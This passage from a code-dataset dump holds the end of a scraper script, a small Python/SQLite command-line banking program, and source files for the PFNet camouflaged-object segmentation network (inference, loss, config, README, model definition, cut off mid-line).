href=\"{0}\">link</a>'.format(i['link'])\n f = open(search_term,'w')\n html = includes + json2html.json2html.convert(escape = False,json = json.dumps(items), table_attributes=\"id=\\\"info-table\\\" class=\\\"table table-bordered table-hover\\\"\")\n f.write(html)\n f.close()\ndef get_keywords(file='input.txt'):\n try:\n f = open('input.txt','r')\n content = f.readlines()\n f.close()\n c = 0\n for i in content:\n content[c] = content[c].replace('\\n','')\n c+=1 \n return content\n except Exception as e:\n print('input.txt not found!')\n exit(-1)\n\nif __name__ == '__main__':\n keywords = get_keywords()\n for keyword in keywords:\n \tjson2html_output(keyword);\n" } ]
2
Valentin2771/SimpleBanking
https://github.com/Valentin2771/SimpleBanking
6299b19ec4095ef511231f51fdf7d90e5d2a26a9
f32fed95d6699acef29f1a144235ad80b2676cdf
7ed59604095126d6fbae2edaab42593b5f8c69d4
refs/heads/main
2022-12-19T17:42:42.905374
2020-10-24T03:54:36
2020-10-24T03:54:36
306,798,227
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8080000281333923, "alphanum_fraction": 0.8080000281333923, "avg_line_length": 124, "blob_id": "27e6f4e25022f64a5ecdf2a6b71d79b3456d7bf2", "content_id": "3f25eaa10587886509b105d892f8d7c04cb7f83e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 125, "license_type": "no_license", "max_line_length": 124, "num_lines": 1, "path": "/README.md", "repo_name": "Valentin2771/SimpleBanking", "src_encoding": "UTF-8", "text": "# A Simple Banking System, allowing for account creation, log into account, transfer between accounts, account deletion, etc\n" }, { "alpha_fraction": 0.5725259780883789, "alphanum_fraction": 0.5815634727478027, "avg_line_length": 32.589664459228516, "blob_id": "e0af52277e8f4cb8e9e0188223139bfb9581a11e", "content_id": "1bf0a9f7a6c1600872905e8dda741cab8d395a22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11065, "license_type": "no_license", "max_line_length": 235, "num_lines": 329, "path": "/banking_system_stage4.py", "repo_name": "Valentin2771/SimpleBanking", "src_encoding": "UTF-8", "text": "# banking system stage # 4\n\nimport random\nimport sqlite3\n\nconn = sqlite3.connect('card.s3db') # single file database creation\n\ncur = conn.cursor() # we're using this object's method 'execute' to perform queries\n\nmy_table_string = 'CREATE TABLE IF NOT EXISTS card (`id` INTEGER, `number` TEXT, `pin` TEXT, balance INTEGER DEFAULT 0);'\n\ncur.execute(my_table_string)\n\nconn.commit()\n\nrandom.seed()\n\ncard_to_check = list() # Global variable. We're using it for the purpose of temporarily storing the account no. and the pin no. for the card to check. This list will count as a static property when switching to Object Oriented approach\n\naccount_to_transfer = 0\n\npossible_options = (\"1\", \"2\", \"0\")\n\npossible_balance_options = (\"1\", \"2\", \"3\", \"4\", \"5\", \"0\") # Global variable. It will count as a static property when switching to Object Oriented approach\n\n# account_balance = 0 # Global variable. It will count as a static property when switching to Object Oriented approach\n\nCREATE = True # Global variable. We're using it for diverting the execution flow to the \"create\" or \"log into\" or \"exit\" branch. This variable will amount to a static property when switching to Object Oriented approach\n\nLOGIN = False # Global variable. See the explanation above\n\nBALANCE = False # Global variable. See the explanation above\n\nADD = False # Global variable. See the explanation above\n\nCHK_TRANSFER = False # Global variable. See the explanation above\n\n# Auxiliary & printing functions\n\ndef get_user_input():\n return input().strip()\n\ndef print_exit_statement():\n print(\"\\nBye!\")\n\t\t\ndef print_first_menu():\n print(\"1. Create an account\")\n print(\"2. Log into account\")\n print(\"0. Exit\")\n\t\ndef login_successfully_message():\n print(\"\\nYou have successfully logged in!\")\n \ndef logout_successfully_message():\n print(\"\\nYou have successfully logged out!\\n\")\n\t\ndef print_balance_menu():\n print(\"\\n1. Balance\\n2. Add income\\n3. Do transfer\\n4. Close account\\n5. Log out\\n0. Exit\")\n\n# CREATE True functions \n\ndef Luhn_generator():\n '''\n It generates the pin no. and an associated, Luhn compliant, card number\n '''\n pin = ''\n for num in range (4):\n pin += str(random.randint(0, 9)) # this is the pin no.\n \n account_no = str(400000) # first 6 digits are constant\n last_digits = list() # a container for the remaining 10 digits\n original_digits = '' # The string corresponding to the digits' number\n \n digit_sum = 8\n for digit in range(9): # implementing the Luhn algorithm\n current_digit = random.randint(0, 9)\n last_digits.append(current_digit)\n original_digits += str(current_digit)\n \n for index in range(len(last_digits)):\n if index % 2 == 0:\n last_digits[index] *= 2\n if last_digits[index] > 9:\n last_digits[index] -= 9\n digit_sum += last_digits[index]\n \n check_digit = 0\n for chk in range(10):\n if (chk + digit_sum) % 10 == 0:\n check_digit = chk\n break\n original_digits += str(check_digit)\n \n account_no += original_digits\n \n return (account_no, pin)\n\ndef card_exists(card_number):\n placeholder = (card_number, )\n unique_check = \"SELECT * FROM card WHERE number = ?\"\n cur.execute(unique_check, placeholder)\n return cur.fetchone() \n \n\ndef card_generator(card_data):\n temp_res1 = card_exists(card_data[0])\n \n if temp_res1 is None: # if this number hasn't been previously assigned\n no_pin = (card_data[0], card_data[1])\n insert_unique = \"INSERT INTO card (number, pin) VALUES(?, ?)\"\n cur.execute(insert_unique, no_pin)\n conn.commit()\n print(str.format(\"\\nYour card has been created\\nYour card number:\\n{}\\nYour card PIN:\\n{}\\n\", card_data[0], card_data[1]))\n return True\n else:\n return False\n \n# LOGIN True functions\n\ndef print_login_menu():\n if len(card_to_check) == 0:\n print(\"\\nEnter your card number:\")\n else:\n print(\"Enter your PIN:\")\n\ndef login_checker(account, pin):\n # Data from table 'card' used here\n check_login_query = \"SELECT number, pin FROM card WHERE number = ? AND pin = ?\"\n placeholder = (account, pin)\n cur.execute(check_login_query, placeholder)\n temp_res = cur.fetchall()\n if len(temp_res) == 1:\n login_successfully_message()\n return True\n else:\n print(\"\\nWrong card number or PIN!\\n\") \n \n# BALANCE True functions\n\ndef get_balance(account_number):\n # Data from table 'card' MUST be used here\n placeholder = (account_number,)\n balance_query = \"SELECT balance FROM card WHERE number = ?\"\n cur.execute(balance_query, placeholder)\n return cur.fetchone()[0] # this is the balance\n \n\ndef display_balance():\n temp_res3 = get_balance(card_to_check[0])\n print(str.format(\"\\nBalance: {}\", temp_res3))\n\ndef Luhn_checker(digit_string):\n digit_list = list(digit_string)\n if len(digit_list) != 16:\n return False\n try:\n for index in range(len(digit_list)):\n digit_list[index] = int(digit_list[index])\n except:\n return False\n \n # Luhn checker starts here\n digit_sum = digit_list[-1]\n for index in range(len(digit_list) - 1):\n if index % 2 == 0:\n digit_list[index] *= 2\n if digit_list[index] > 9:\n digit_list[index] -= 9\n digit_sum += digit_list[index]\n \n if digit_sum % 10 == 0:\n return True\n else:\n return False\n\t\t\ndef close_account():\n delete_query = \"DELETE FROM card WHERE number = ?\"\n placeholder = (card_to_check[0],) # because we're only allowed to close the account we're logged in\n cur.execute(delete_query, placeholder)\n conn.commit()\n\n# ADD True\n\ndef add_income(amount):\n current_balance = get_balance(card_to_check[0])\n current_balance += int(amount)\n update_balance = \"UPDATE card SET balance = ? WHERE number = ?\"\n cur.execute(update_balance, (current_balance, card_to_check[0]))\n conn.commit()\n print(\"Income was added!\")\n print_balance_menu()\n\n# CHK_TRANSFER True\n\ndef check_transfer_acc(card_number):\n # print(\"You've just entered card number \" + str(card_number))\n global CHK_TRANSFER\n global BALANCE\n CHK_TRANSFER = False\n BALANCE = True \n if card_number == card_to_check[0]:\n print(\"You can't transfer money to the same account!\")\n print_balance_menu()\n elif not Luhn_checker(card_number):\n print(\"Probably you made a mistake in the card number. Please try again!\")\n print_balance_menu()\n elif card_exists(card_number) is None:\n print(\"Such a card does not exist.\")\n print_balance_menu()\n else:\n BALANCE = False\n global account_to_transfer\n account_to_transfer = card_number\n print(\"Enter how much money you want to transfer:\")\n\n# All state constants on False\n\ndef perform_transfer(amount):\n current_balance_grantor = get_balance(card_to_check[0])\n if current_balance_grantor < int(amount):\n print(\"Not enough money!\")\n else:\n current_balance_receiver = get_balance(account_to_transfer)\n placeholder1 = (current_balance_grantor - int(amount), card_to_check[0])\n placeholder2 = (current_balance_receiver + int(amount), account_to_transfer)\n update_query = \"UPDATE card SET balance = ? WHERE number = ?\"\n cur.execute(update_query, placeholder1)\n conn.commit()\n cur.execute(update_query, placeholder2)\n conn.commit()\n print(\"Success!\")\n \n \n#-------------------------------------------------------------------------------------------------------------------------------\n#End of function definitions section; start of the function calls section\n\nprint_first_menu() # first call; first user input; default state is CREATE = True\n\nwhile(True):\n usr_inp = get_user_input()\n \n if CREATE:\n if usr_inp in possible_options:\n if usr_inp == \"1\":\n while(not card_generator(Luhn_generator())):\n pass\n print_first_menu()\n elif usr_inp == \"2\":\n cur.execute(\"SELECT * FROM card\") # check if any cards have already been created\n temp_res2 = cur.fetchall()\n if 0 != len(temp_res2): # SELECT query returns a list of tuples, if list is empty, then there's no card created\n CREATE = False\n LOGIN = True\n \n print_login_menu()\n else:\n print(\"\\nNo account created yet!\")\n print_first_menu()\n else:\n print_exit_statement()\n exit()\n else:\n print(\"\\nInvalid option\")\n print_first_menu()\n \n elif LOGIN: \n card_to_check.append(usr_inp) # account no. comes first, pin comes afterwards\n if len(card_to_check) != 2:\n print_login_menu()\n else:\n login_result = login_checker(card_to_check[0], card_to_check[1])\n \n if login_result:\n \n LOGIN = False\n BALANCE = True\n print_balance_menu()\n else:\n CREATE = True\n LOGIN = False\n \n card_to_check.clear() # Because we may want to try a new login\n print_first_menu() \n \n elif BALANCE:\n if usr_inp in possible_balance_options:\n if usr_inp == \"1\":\n display_balance() \n print_balance_menu()\n elif usr_inp == \"2\":\n BALANCE = False\n ADD = True\n print(\"\\nEnter income:\")\n elif usr_inp == \"3\":\n print(\"\\nTransfer\\nEnter card number:\") \n BALANCE = False\n CHK_TRANSFER = True\n elif usr_inp == \"4\":\n close_account()\n print(\"\\nThe account has been closed!\\n\") \n CREATE = True\n BALANCE = False # Leaving this branch and returning to the first menu\n card_to_check.clear() # Because the account no longer exists\n print_first_menu()\n elif usr_inp == \"5\":\n CREATE = True\n BALANCE = False # Leaving this branch and returning to the first menu\n card_to_check.clear() # Because we're logging out\n logout_successfully_message()\n print_first_menu()\n else: # exit branch\n print_exit_statement()\n exit() \n else:\n print(\"\\nInvalid option!\")\n print_balance_menu()\n \n elif ADD:\n add_income(usr_inp)\n BALANCE = True\n ADD = False\n \n elif CHK_TRANSFER:\n check_transfer_acc(usr_inp)\n \n else:\n perform_transfer(usr_inp)\n BALANCE = True\n print_balance_menu()\n " } ]
2
1447964530/CVPR2021_PFNet
https://github.com/1447964530/CVPR2021_PFNet
469c706450868f1d90a6b3d831e7f554e0fbf31e
2c4cab0730e6a0619fad79092f0b34f71c3b56c4
cb05382a1863fa9ac6f0cf1dba24e8781b0d33ec
refs/heads/main
2023-07-25T13:03:25.976051
2021-09-05T04:11:06
2021-09-05T04:11:06
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5482378005981445, "alphanum_fraction": 0.5699537396430969, "avg_line_length": 28.26041603088379, "blob_id": "0cc3e9a49035d4f3a9c9f9f186da72c053b062e6", "content_id": "2720ae5640220f826e7dd68b8f268df48a4499ab", "detected_licenses": [ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2809, "license_type": "permissive", "max_line_length": 128, "num_lines": 96, "path": "/infer.py", "repo_name": "1447964530/CVPR2021_PFNet", "src_encoding": "UTF-8", "text": "\"\"\"\n @Time : 2021/7/6 14:36\n @Author : Haiyang Mei\n @E-mail : [email protected]\n \n @Project : CVPR2021_PFNet\n @File : infer.py\n @Function: Inference\n \n\"\"\"\nimport time\nimport datetime\n\nimport torch\nfrom PIL import Image\nfrom torch.autograd import Variable\nfrom torchvision import transforms\nfrom collections import OrderedDict\nfrom numpy import mean\n\nfrom config import *\nfrom misc import *\nfrom PFNet import PFNet\n\ntorch.manual_seed(2021)\ndevice_ids = [1]\ntorch.cuda.set_device(device_ids[0])\n\nresults_path = './results'\ncheck_mkdir(results_path)\nexp_name = 'PFNet'\nargs = {\n 'scale': 416,\n 'save_results': True\n}\n\nprint(torch.__version__)\n\nimg_transform = transforms.Compose([\n transforms.Resize((args['scale'], args['scale'])),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n])\n\nto_pil = transforms.ToPILImage()\n\nto_test = OrderedDict([\n ('CHAMELEON', chameleon_path),\n ('CAMO', camo_path),\n ('COD10K', cod10k_path),\n ('NC4K', nc4k_path)\n ])\n\nresults = OrderedDict()\n\ndef main():\n net = PFNet(backbone_path).cuda(device_ids[0])\n\n net.load_state_dict(torch.load('PFNet.pth'))\n print('Load {} succeed!'.format('PFNet.pth'))\n\n net.eval()\n with torch.no_grad():\n start = time.time()\n for name, root in to_test.items():\n time_list = []\n image_path = os.path.join(root, 'image')\n\n if args['save_results']:\n check_mkdir(os.path.join(results_path, exp_name, name))\n\n img_list = [os.path.splitext(f)[0] for f in os.listdir(image_path) if f.endswith('jpg')]\n for idx, img_name in enumerate(img_list):\n img = Image.open(os.path.join(image_path, img_name + '.jpg')).convert('RGB')\n\n w, h = img.size\n img_var = Variable(img_transform(img).unsqueeze(0)).cuda(device_ids[0])\n\n start_each = time.time()\n _, _, _, prediction = net(img_var)\n time_each = time.time() - start_each\n time_list.append(time_each)\n\n prediction = np.array(transforms.Resize((h, w))(to_pil(prediction.data.squeeze(0).cpu())))\n\n if args['save_results']:\n Image.fromarray(prediction).convert('L').save(os.path.join(results_path, exp_name, name, img_name + '.png'))\n print(('{}'.format(exp_name)))\n print(\"{}'s average Time Is : {:.3f} s\".format(name, mean(time_list)))\n print(\"{}'s average Time Is : {:.1f} fps\".format(name, 1 / mean(time_list)))\n\n end = time.time()\n print(\"Total Testing Time: {}\".format(str(datetime.timedelta(seconds=int(end - start)))))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4209612011909485, "alphanum_fraction": 0.4418066143989563, "avg_line_length": 32.21154022216797, "blob_id": "ac81211225e0bafa9eccdae9dc32f4dfd8009036", "content_id": "0ff64bb86e8ac8537ece178ca65e23bf2032c32e", "detected_licenses": [ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1727, "license_type": "permissive", "max_line_length": 97, "num_lines": 52, "path": "/loss.py", "repo_name": "1447964530/CVPR2021_PFNet", "src_encoding": "UTF-8", "text": "\"\"\"\n @Time : 2021/7/6 14:31\n @Author : Haiyang Mei\n @E-mail : [email protected]\n \n @Project : CVPR2021_PFNet\n @File : loss.py\n @Function: Loss\n \n\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n###################################################################\n# ########################## iou loss #############################\n###################################################################\nclass IOU(torch.nn.Module):\n def __init__(self):\n super(IOU, self).__init__()\n\n def _iou(self, pred, target):\n pred = torch.sigmoid(pred)\n inter = (pred * target).sum(dim=(2, 3))\n union = (pred + target).sum(dim=(2, 3)) - inter\n iou = 1 - (inter / union)\n\n return iou.mean()\n\n def forward(self, pred, target):\n return self._iou(pred, target)\n\n###################################################################\n# #################### structure loss #############################\n###################################################################\nclass structure_loss(torch.nn.Module):\n def __init__(self):\n super(structure_loss, self).__init__()\n\n def _structure_loss(self, pred, mask):\n weit = 1 + 5 * torch.abs(F.avg_pool2d(mask, kernel_size=31, stride=1, padding=15) - mask)\n wbce = F.binary_cross_entropy_with_logits(pred, mask, reduce='none')\n wbce = (weit * wbce).sum(dim=(2, 3)) / weit.sum(dim=(2, 3))\n\n pred = torch.sigmoid(pred)\n inter = ((pred * mask) * weit).sum(dim=(2, 3))\n union = ((pred + mask) * weit).sum(dim=(2, 3))\n wiou = 1 - (inter) / (union - inter)\n return (wbce + wiou).mean()\n\n def forward(self, pred, mask):\n return self._structure_loss(pred, mask)\n" }, { "alpha_fraction": 0.6301115155220032, "alphanum_fraction": 0.6821561455726624, "avg_line_length": 23.454545974731445, "blob_id": "3311eb0610e20572abd1227fb45a90f882fe57a6", "content_id": "856af78e0e8e94e5d7e283865725cd4cd1cea0ff", "detected_licenses": [ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 538, "license_type": "permissive", "max_line_length": 62, "num_lines": 22, "path": "/config.py", "repo_name": "1447964530/CVPR2021_PFNet", "src_encoding": "UTF-8", "text": "\"\"\"\n @Time : 2021/7/6 09:46\n @Author : Haiyang Mei\n @E-mail : [email protected]\n \n @Project : CVPR2021_PFNet\n @File : config.py\n @Function: Configuration\n \n\"\"\"\nimport os\n\nbackbone_path = './backbone/resnet/resnet50-19c8e357.pth'\n\ndatasets_root = '../data/NEW'\n\ncod_training_root = os.path.join(datasets_root, 'train')\n\nchameleon_path = os.path.join(datasets_root, 'test/CHAMELEON')\ncamo_path = os.path.join(datasets_root, 'test/CAMO')\ncod10k_path = os.path.join(datasets_root, 'test/COD10K')\nnc4k_path = os.path.join(datasets_root, 'test/NC4K')\n" }, { "alpha_fraction": 0.7304936051368713, "alphanum_fraction": 0.7571656107902527, "avg_line_length": 60.26829147338867, "blob_id": "0073f04eefeabaf58f5c829f06a0bf9c88902cff", "content_id": "02869664693c25b44c37b846d8458717fbe981e8", "detected_licenses": [ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2512, "license_type": "permissive", "max_line_length": 1287, "num_lines": 41, "path": "/README.md", "repo_name": "1447964530/CVPR2021_PFNet", "src_encoding": "UTF-8", "text": "# CVPR2021_PFNet\n\n## Camouflaged Object Segmentation With Distraction Mining\n[Haiyang Mei](https://mhaiyang.github.io/), Ge-Peng Ji, Ziqi Wei, Xin Yang, Xiaopeng Wei, [Deng-Ping Fan](http://dpfan.net/)\n\n[[Paper](https://openaccess.thecvf.com/content/CVPR2021/papers/Mei_Camouflaged_Object_Segmentation_With_Distraction_Mining_CVPR_2021_paper.pdf)] [[Project Page](https://mhaiyang.github.io/CVPR2021_PFNet/index.html)]\n\n### Abstract\nCamouflaged object segmentation (COS) aims to identify objects that are \"perfectly\" assimilate into their surroundings, which has a wide range of valuable applications. The key challenge of COS is that there exist high intrinsic similarities between the candidate objects and noise background. In this paper, we strive to embrace challenges towards effective and efficient COS. To this end, we develop a bio-inspired framework, termed Positioning and Focus Network (PFNet), which mimics the process of predation in nature. Specifically, our PFNet contains two key modules, i.e., the positioning module (PM) and the focus module (FM). The PM is designed to mimic the detection process in predation for positioning the potential target objects from a global perspective and the FM is then used to perform the identification process in predation for progressively refining the coarse prediction via focusing on the ambiguous regions. Notably, in the FM, we develop a novel distraction mining strategy for the distraction region discovery and removal, to benefit the performance of estimation. Extensive experiments demonstrate that our PFNet runs in real-time (72 FPS) and significantly outperforms 18 cutting-edge models on three challenging benchmark datasets under four standard metrics.\n\n### Citation\nIf you use this code, please cite:\n\n```\n@InProceedings{Mei_2021_CVPR,\n author = {Mei, Haiyang and Ji, Ge-Peng and Wei, Ziqi and Yang, Xin and Wei, Xiaopeng and Fan, Deng-Ping},\n title = {Camouflaged Object Segmentation With Distraction Mining},\n booktitle = {Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR)},\n month = {June},\n year = {2021},\n pages = {8772-8781}\n}\n```\n\n### Requirements\n* PyTorch == 1.0.0\n* TorchVision == 0.2.1\n* CUDA 10.0 cudnn 7.2\n\n### Train\nDownload 'resnet50-19c8e357.pth' at [here](https://download.pytorch.org/models/resnet50-19c8e357.pth), then run `train.py`.\n\n\n### Test\nDownload trained model 'PFNet.pth' at [here](https://mhaiyang.github.io/CVPR2021_PFNet/index.html), then run `infer.py`.\n\n### License\nPlease see `license.txt`\n\n### Contact\nE-Mail: [email protected]\n" }, { "alpha_fraction": 0.5068702101707458, "alphanum_fraction": 0.5389313101768494, "avg_line_length": 17.714284896850586, "blob_id": "4e12eb1706349eb5217223325398c1abbc02b176", "content_id": "9cc9524493a9674d2a31a8eafde3e3a3d5099749", "detected_licenses": [ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 655, "license_type": "permissive", "max_line_length": 40, "num_lines": 35, "path": "/misc.py", "repo_name": "1447964530/CVPR2021_PFNet", "src_encoding": "UTF-8", "text": "\"\"\"\n @Time : 2021/7/6 11:21\n @Author : Haiyang Mei\n @E-mail : [email protected]\n \n @Project : CVPR2021_PFNet\n @File : misc.py\n @Function: Useful functions\n \n\"\"\"\nimport numpy as np\nimport os\n\nclass AvgMeter(object):\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\ndef check_mkdir(dir_name):\n if not os.path.exists(dir_name):\n os.makedirs(dir_name)\n\ndef _sigmoid(x):\n return 1 / (1 + np.exp(-x))\n" }, { "alpha_fraction": 0.49757280945777893, "alphanum_fraction": 0.5354542136192322, "avg_line_length": 39.05555725097656, "blob_id": "3feeb51c585d7f679aa1a02b7734db2848d8b7ed", "content_id": "43a4d7d6f69fc91a417ffdb6f200907e46445838", "detected_licenses": [ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11536, "license_type": "permissive", "max_line_length": 114, "num_lines": 288, "path": "/PFNet.py", "repo_name": "1447964530/CVPR2021_PFNet", "src_encoding": "UTF-8", "text": "\"\"\"\n @Time : 2021/7/6 14:23\n @Author : Haiyang Mei\n @E-mail : [email protected]\n \n @Project : CVPR2021_PFNet\n @File : PFNet.py\n @Function: Focus and Exploration Network\n \n\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport backbone.resnet.resnet as resnet\n\n###################################################################\n# ################## Channel Attention Block ######################\n###################################################################\nclass CA_Block(nn.Module):\n def __init__(self, in_dim):\n super(CA_Block, self).__init__()\n self.chanel_in = in_dim\n self.gamma = nn.Parameter(torch.ones(1))\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, x):\n \"\"\"\n inputs :\n x : input feature maps (B X C X H X W)\n returns :\n out : channel attentive features\n \"\"\"\n m_batchsize, C, height, width = x.size()\n proj_query = x.view(m_batchsize, C, -1)\n proj_key = x.view(m_batchsize, C, -1).permute(0, 2, 1)\n energy = torch.bmm(proj_query, proj_key)\n attention = self.softmax(energy)\n proj_value = x.view(m_batchsize, C, -1)\n\n out = torch.bmm(attention, proj_value)\n out = out.view(m_batchsize, C, height, width)\n\n out = self.gamma * out + x\n return out\n\n###################################################################\n# ################## Spatial Attention Block ######################\n###################################################################\nclass SA_Block(nn.Module):\n def __init__(self, in_dim):\n super(SA_Block, self).__init__()\n self.chanel_in = in_dim\n self.query_conv = nn.Conv2d(in_channels=in_dim, out_channels=in_dim // 8, kernel_size=1)\n self.key_conv = nn.Conv2d(in_channels=in_dim, out_channels=in_dim // 8, kernel_size=1)\n self.value_conv = nn.Conv2d(in_channels=in_dim, out_channels=in_dim, kernel_size=1)\n self.gamma = nn.Parameter(torch.ones(1))\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, x):\n \"\"\"\n inputs :\n x : input feature maps (B X C X H X W)\n returns :\n out : spatial attentive features\n \"\"\"\n m_batchsize, C, height, width = x.size()\n proj_query = self.query_conv(x).view(m_batchsize, -1, width * height).permute(0, 2, 1)\n proj_key = self.key_conv(x).view(m_batchsize, -1, width * height)\n energy = torch.bmm(proj_query, proj_key)\n attention = self.softmax(energy)\n proj_value = self.value_conv(x).view(m_batchsize, -1, width * height)\n\n out = torch.bmm(proj_value, attention.permute(0, 2, 1))\n out = out.view(m_batchsize, C, height, width)\n\n out = self.gamma * out + x\n return out\n\n###################################################################\n# ################## Context Exploration Block ####################\n###################################################################\nclass Context_Exploration_Block(nn.Module):\n def __init__(self, input_channels):\n super(Context_Exploration_Block, self).__init__()\n self.input_channels = input_channels\n self.channels_single = int(input_channels / 4)\n\n self.p1_channel_reduction = nn.Sequential(\n nn.Conv2d(self.input_channels, self.channels_single, 1, 1, 0),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n self.p2_channel_reduction = nn.Sequential(\n nn.Conv2d(self.input_channels, self.channels_single, 1, 1, 0),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n self.p3_channel_reduction = nn.Sequential(\n nn.Conv2d(self.input_channels, self.channels_single, 1, 1, 0),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n self.p4_channel_reduction = nn.Sequential(\n nn.Conv2d(self.input_channels, self.channels_single, 1, 1, 0),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n\n self.p1 = nn.Sequential(\n nn.Conv2d(self.channels_single, self.channels_single, 1, 1, 0),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n self.p1_dc = nn.Sequential(\n nn.Conv2d(self.channels_single, self.channels_single, kernel_size=3, stride=1, padding=1, dilation=1),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n\n self.p2 = nn.Sequential(\n nn.Conv2d(self.channels_single, self.channels_single, 3, 1, 1),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n self.p2_dc = nn.Sequential(\n nn.Conv2d(self.channels_single, self.channels_single, kernel_size=3, stride=1, padding=2, dilation=2),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n\n self.p3 = nn.Sequential(\n nn.Conv2d(self.channels_single, self.channels_single, 5, 1, 2),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n self.p3_dc = nn.Sequential(\n nn.Conv2d(self.channels_single, self.channels_single, kernel_size=3, stride=1, padding=4, dilation=4),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n\n self.p4 = nn.Sequential(\n nn.Conv2d(self.channels_single, self.channels_single, 7, 1, 3),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n self.p4_dc = nn.Sequential(\n nn.Conv2d(self.channels_single, self.channels_single, kernel_size=3, stride=1, padding=8, dilation=8),\n nn.BatchNorm2d(self.channels_single), nn.ReLU())\n\n self.fusion = nn.Sequential(nn.Conv2d(self.input_channels, self.input_channels, 1, 1, 0),\n nn.BatchNorm2d(self.input_channels), nn.ReLU())\n\n def forward(self, x):\n p1_input = self.p1_channel_reduction(x)\n p1 = self.p1(p1_input)\n p1_dc = self.p1_dc(p1)\n\n p2_input = self.p2_channel_reduction(x) + p1_dc\n p2 = self.p2(p2_input)\n p2_dc = self.p2_dc(p2)\n\n p3_input = self.p3_channel_reduction(x) + p2_dc\n p3 = self.p3(p3_input)\n p3_dc = self.p3_dc(p3)\n\n p4_input = self.p4_channel_reduction(x) + p3_dc\n p4 = self.p4(p4_input)\n p4_dc = self.p4_dc(p4)\n\n ce = self.fusion(torch.cat((p1_dc, p2_dc, p3_dc, p4_dc), 1))\n\n return ce\n\n###################################################################\n# ##################### Positioning Module ########################\n###################################################################\nclass Positioning(nn.Module):\n def __init__(self, channel):\n super(Positioning, self).__init__()\n self.channel = channel\n self.cab = CA_Block(self.channel)\n self.sab = SA_Block(self.channel)\n self.map = nn.Conv2d(self.channel, 1, 7, 1, 3)\n\n def forward(self, x):\n cab = self.cab(x)\n sab = self.sab(cab)\n map = self.map(sab)\n\n return sab, map\n\n###################################################################\n# ######################## Focus Module ###########################\n###################################################################\nclass Focus(nn.Module):\n def __init__(self, channel1, channel2):\n super(Focus, self).__init__()\n self.channel1 = channel1\n self.channel2 = channel2\n\n self.up = nn.Sequential(nn.Conv2d(self.channel2, self.channel1, 7, 1, 3),\n nn.BatchNorm2d(self.channel1), nn.ReLU(), nn.UpsamplingBilinear2d(scale_factor=2))\n\n self.input_map = nn.Sequential(nn.UpsamplingBilinear2d(scale_factor=2), nn.Sigmoid())\n self.output_map = nn.Conv2d(self.channel1, 1, 7, 1, 3)\n\n self.fp = Context_Exploration_Block(self.channel1)\n self.fn = Context_Exploration_Block(self.channel1)\n self.alpha = nn.Parameter(torch.ones(1))\n self.beta = nn.Parameter(torch.ones(1))\n self.bn1 = nn.BatchNorm2d(self.channel1)\n self.relu1 = nn.ReLU()\n self.bn2 = nn.BatchNorm2d(self.channel1)\n self.relu2 = nn.ReLU()\n\n def forward(self, x, y, in_map):\n # x; current-level features\n # y: higher-level features\n # in_map: higher-level prediction\n\n up = self.up(y)\n\n input_map = self.input_map(in_map)\n f_feature = x * input_map\n b_feature = x * (1 - input_map)\n\n fp = self.fp(f_feature)\n fn = self.fn(b_feature)\n\n refine1 = up - (self.alpha * fp)\n refine1 = self.bn1(refine1)\n refine1 = self.relu1(refine1)\n\n refine2 = refine1 + (self.beta * fn)\n refine2 = self.bn2(refine2)\n refine2 = self.relu2(refine2)\n\n output_map = self.output_map(refine2)\n\n return refine2, output_map\n\n###################################################################\n# ########################## NETWORK ##############################\n###################################################################\nclass PFNet(nn.Module):\n def __init__(self, backbone_path=None):\n super(PFNet, self).__init__()\n # params\n\n # backbone\n resnet50 = resnet.resnet50(backbone_path)\n self.layer0 = nn.Sequential(resnet50.conv1, resnet50.bn1, resnet50.relu)\n self.layer1 = nn.Sequential(resnet50.maxpool, resnet50.layer1)\n self.layer2 = resnet50.layer2\n self.layer3 = resnet50.layer3\n self.layer4 = resnet50.layer4\n\n # channel reduction\n self.cr4 = nn.Sequential(nn.Conv2d(2048, 512, 3, 1, 1), nn.BatchNorm2d(512), nn.ReLU())\n self.cr3 = nn.Sequential(nn.Conv2d(1024, 256, 3, 1, 1), nn.BatchNorm2d(256), nn.ReLU())\n self.cr2 = nn.Sequential(nn.Conv2d(512, 128, 3, 1, 1), nn.BatchNorm2d(128), nn.ReLU())\n self.cr1 = nn.Sequential(nn.Conv2d(256, 64, 